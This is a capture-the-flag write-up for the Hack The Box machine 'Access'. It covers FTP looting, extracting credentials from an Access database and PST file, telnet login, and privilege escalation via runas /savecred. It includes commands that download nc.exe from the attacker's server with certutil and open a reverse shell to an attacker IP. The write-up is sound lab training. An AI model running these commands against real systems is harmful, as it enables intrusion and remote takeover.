Hey guys today Access retired and this is my write-up. I don’t have too much to say about this box , It was a nice easy windows box and a good example of using
runas in windows , Which is like
sudo in linux and
doas in openbsd (we used
doas in Ypuffy). It’s a windows box and its ip is 10.10.10.98 , I added it to
As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC access.htb
Nmap tells us that there’s ftp running on port 21 , telnet on port 23 and http on port 80. It also tells us that we can login anonymously to ftp. Let’s look at http first.
We get this page titled as “MegaCorp” and it only has this image :
Sub directories enumeration with
/usr/share/wordlists/dirb/common.txt in kali) only gave us 2 pages ,
/aspnet_client gave us
403 Forbidden :
/index.html is of course the main page we saw earlier :
So now we know that http has nothing , Next thing to check is ftp
Nmap told us earlier that anonymous login on ftp was allowed , After we login we find 2 directories
Backups there is only one file called
backup.mdb , we will type
binary to set the transfer mode to binary , so we won’t get a corrupted file. Then
get backup.mdb to download it :
Engineer there’s a file called
Access Control.zip :
Extracting credentials from backup.mdb and getting User
backup.mdb is a Microsoft Access Database , we can check using
We need mdbtools to deal with this database , it can be installed with
apt-get install mdbtools
We will use
mdb-tables to get the table names :
There’s an interesting table named
auth_user , We will use
mdb-export to get the contents of that table :
mdb-export backup.mdb auth_user
And it gave us some credentials :
admin : admin
engineer : access4u@security
backup_admin : admin
By looking at the other
zip file we will find a file called
Access Control.pst and it’s a password protected file.
We already have 2 passwords :
access4u@security is the right password.
Access Control.pst is a Microsoft Outlook email folder :
We can use a tool called
readpst to be able to read the file :
readpst Access\ Control.pst
It will create another file called
Access Control.mbox , Let’s
cat that file :
The very first thing we see is this email which has credentials for an account called
security , password :
telnet into the box with those credentials :
And we owned user !
runas and Privilege Escalation
As always we will start enumerating the filesystem , There are only 3 users on the box
We are in as
security and we can’t go into Administrator’s directory so let’s check Public.
In the Desktop of
Public there’s a
ZKAccess3.5 Security System.
type it and see what’s inside it :
Of course not the best output , because it’s a
lnk file not a
txt file , but we can read some stuff , and we notice that there’s a
runas command being excuted as administrator.
runas allows us to run commands as another user and the option
/savecred allows us to use the command without asking for password. Looking into Public’s desktop is not necessary to know that, we can check by executing
net user administrator
Password required is set to
No , If this was set to
Yes we wouldn’t be able to use
runas as administrator without knowing the password , However that
lnk file on Public’s desktop was a nice hint.
Now we can run a simple HTTP server on our box with python and host
python -m SimpleHTTPServer 80
80 is the port number and it can be anything
You can get
nc.exe from github here , I also remember that I included another link in SecNotes write-up
Then we will download it on the box :
certutil -urlcache -split -f http://10.10.xx.xx/nc.exe nc.exe
After that we will set up our nc listener
nc -lvnp 1337
1337 is the port number and it can be anything.
Finally we will use
runas to get a reverse shell :
runas /user:Administrator /savecred "nc.exe -c cmd.exe 10.10.xx.xx 1337"
Let’s check our listener :
We have a shell.
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter for awesome resources @Ahm3d_H3sham
Thanks for reading.